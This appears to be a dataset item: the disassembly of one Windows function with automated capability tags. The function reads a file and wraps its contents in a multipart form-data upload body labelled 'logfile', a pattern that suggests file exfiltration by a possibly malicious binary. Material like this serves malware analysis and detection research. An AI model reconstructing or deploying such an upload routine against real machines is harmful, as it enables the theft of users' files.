Function at 0x4079b0
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4250c7
mov eax, dword fs:[0]
push eax
sub esp, 0x250
mov eax, dword [0x4342ac]
xor eax, esp
mov dword [esp + 0x248], eax
push ebx
push esi
push edi
mov eax, dword [0x4342ac]
xor eax, esp
push eax
lea eax, [esp + 0x260]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x24], eax
mov eax, dword [ebp + 0xc]
mov edi, ecx
lea ecx, [esp + 0x220]
mov dword [esp + 0x18], eax
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
xor esi, esi
mov dword [esp + 0x268], esi
mov eax, dword [sym.imp.MSVCP80.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
push dword [eax]
mov ecx, edi
push 0x42c024
call dword [sym.imp.MSVCP80.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::find_last_of_char_const___unsigned_int_const]
mov ecx, dword [sym.imp.MSVCP80.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
cmp eax, dword [ecx]
jne 0x407a44
push edi
lea ecx, [esp + 0x224]
call dword [0x42715c]
jmp 0x407a7d
push dword [ecx]
inc eax
push eax
lea eax, [esp + 0x30]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP80.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::substr_unsigned_int__unsigned_int_]
push eax
lea ecx, [esp + 0x224]
mov byte [esp + 0x26c], 1
call dword [0x42715c]
lea ecx, [esp + 0x28]
mov byte [esp + 0x268], 0
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
cmp dword [edi + 0x18], 0x10
jb 0x407a88
mov ebx, dword [edi + 4]
jmp 0x407a8b
lea ebx, [edi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push esi
push esi
push 0xffffffffffffffff
push ebx
push esi
push esi
call edi
xor ecx, ecx
push 2
pop edx
mov dword [esp + 0x14], eax
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00411dae
pop ecx
push dword [esp + 0x14]
mov dword [esp + 0x24], eax
push eax
push 0xffffffffffffffff
push ebx
push esi
push esi
call edi
push esi
push esi
push 3
push esi
push esi
push 0x80000000
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
push dword [sym.imp.MSVCP80.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov dword [esp + 0x18], eax
push ecx
jne 0x407aef
push str.Failed_to_locate_file_
jmp 0x407af4
push str.Found_file_
push dword [sym.imp.MSVCP80.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.004027b7
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP80.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0x1e8480
call fcn.00411dae
pop ecx
push esi
mov edi, eax
lea eax, [esp + 0x20]
push eax
push 0xf4240
push edi
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
push dword [sym.imp.MSVCP80.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
jne 0x407b45
push str.File_read_failed_
push dword [sym.imp.MSVCP80.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x407b5b
mov ecx, dword [sym.imp.MSVCP80.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str._bytes_read.
push dword [esp + 0x28]
call dword [sym.imp.MSVCP80.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.004027b7
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP80.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [esp + 0x1c]
lea ecx, [esp + 0x240]
push edi
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___unsigned_int_]
push 0x42bcb6
lea ecx, [esp + 0x208]
mov byte [esp + 0x26c], 2
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push esi
mov byte [esp + 0x26c], 3
call dword [sym.imp.MSVCR80.dll__time64]
pop ecx
push eax
call dword [sym.imp.MSVCR80.dll_srand]
pop ecx
jmp 0x407c2d
push 1
push 3
lea ecx, [esp + 0x164]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_int_]
mov byte [esp + 0x268], 4
call dword [sym.imp.MSVCR80.dll_rand]
push eax
lea ecx, [esp + 0x168]
call dword [sym.imp.MSVCP80.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___int_]
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x160]
call dword [sym.imp.MSVCP80.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____thiscall_std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__::str_void_]
push eax
lea ecx, [esp + 0x208]
mov byte [esp + 0x26c], 5
call dword [sym.imp.MSVCP80.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0x28]
mov byte [esp + 0x268], 4
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x15c]
mov byte [esp + 0x268], 3
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__::vbase_dtor_void_]
cmp dword [esp + 0x218], 0x10
jb 0x407bb1
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x204]
push eax
call dword [0x42715c]
lea ecx, [esp + 0x1e8]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
mov ebx, 0x42c0c0
push ebx
lea ecx, [esp + 0x9c]
mov byte [esp + 0x26c], 6
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push dword [esp + 0x18]
mov byte [esp + 0x26c], 7
mov edi, dword [sym.imp.MSVCP80.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push eax
lea eax, [esp + 0xbc]
push eax
call edi
add esp, 0xc
push 0x42c138
push eax
lea eax, [esp + 0x148]
mov byte [esp + 0x270], 8
mov esi, dword [sym.imp.MSVCP80.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
push eax
call esi
add esp, 0xc
push str.Content_Disposition:_form_data__name_logfile___filename_
push eax
lea eax, [esp + 0x110]
push eax
mov byte [esp + 0x274], 9
call esi
add esp, 0xc
lea ecx, [esp + 0x220]
push ecx
push eax
lea eax, [esp + 0xd8]
push eax
mov byte [esp + 0x274], 0xa
call edi
add esp, 0xc
push 0x42c0f8
push eax
lea eax, [esp + 0x84]
push eax
mov byte [esp + 0x274], 0xb
call esi
add esp, 0xc
push str.Content_Type:_application_octet_stream_r_n_r_n
push eax
lea eax, [esp + 0x68]
push eax
mov byte [esp + 0x274], 0xc
call esi
add esp, 0xc
lea ecx, [esp + 0x23c]
push ecx
push eax
lea eax, [esp + 0xf4]
push eax
mov byte [esp + 0x274], 0xd
call edi
add esp, 0xc
push str._r_n_r_n__
push eax
lea eax, [esp + 0x12c]
push eax
mov byte [esp + 0x274], 0xe
call esi
add esp, 0xc
push dword [esp + 0x18]
mov byte [esp + 0x26c], 0xf
push eax
lea eax, [esp + 0x4c]
push eax
call edi
add esp, 0xc
push ebx
push eax
lea eax, [esp + 0x30]
push eax
mov byte [esp + 0x274], 0x10
call esi
add esp, 0xc
push eax
lea ecx, [esp + 0x1ec]
mov byte [esp + 0x26c], 0x11
call dword [0x42715c]
lea ecx, [esp + 0x28]
mov byte [esp + 0x268], 0x10
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x44]
mov byte [esp + 0x268], 0xf
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x124]
mov byte [esp + 0x268], 0xe
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xec]
mov byte [esp + 0x268], 0xd
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x60]
mov byte [esp + 0x268], 0xc
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x7c]
mov byte [esp + 0x268], 0xb
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xd0]
mov byte [esp + 0x268], 0xa
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x108]
mov byte [esp + 0x268], 9
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x140]
mov byte [esp + 0x268], 8
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xb4]
mov byte [esp + 0x268], 7
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x98]
mov byte [esp + 0x268], 6
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, dword [esp + 0x1fc]
push dword [sym.imp.MSVCP80.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov esi, dword [esp + 0x28]
mov dword [esi], eax
mov ecx, dword [sym.imp.MSVCP80.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP80.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int_]
mov ecx, eax
call dword [sym.imp.MSVCP80.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [esi]
inc eax
push eax
call fcn.00411dae
cmp dword [esp + 0x204], 0x10
mov edi, eax
mov eax, dword [esp + 0x1f0]
pop ecx
jae 0x407ec3
lea eax, [esp + 0x1ec]
push dword [esi]
push eax
push edi
call sub.MSVCR80.dll_memcpy
mov eax, dword [esi]
add esp, 0xc
push dword [esp + 0x14]
mov byte [edi + eax], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x1e8]
mov byte [esp + 0x268], 3
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x204]
mov byte [esp + 0x268], 2
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x23c]
mov byte [esp + 0x268], 0
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
or dword [esp + 0x268], 0xffffffff
lea ecx, [esp + 0x220]
call dword [sym.imp.MSVCP80.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, edi
mov ecx, dword [esp + 0x260]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x248]
xor ecx, esp
call fcn.00411db3
mov esp, ebp
pop ebp
ret 8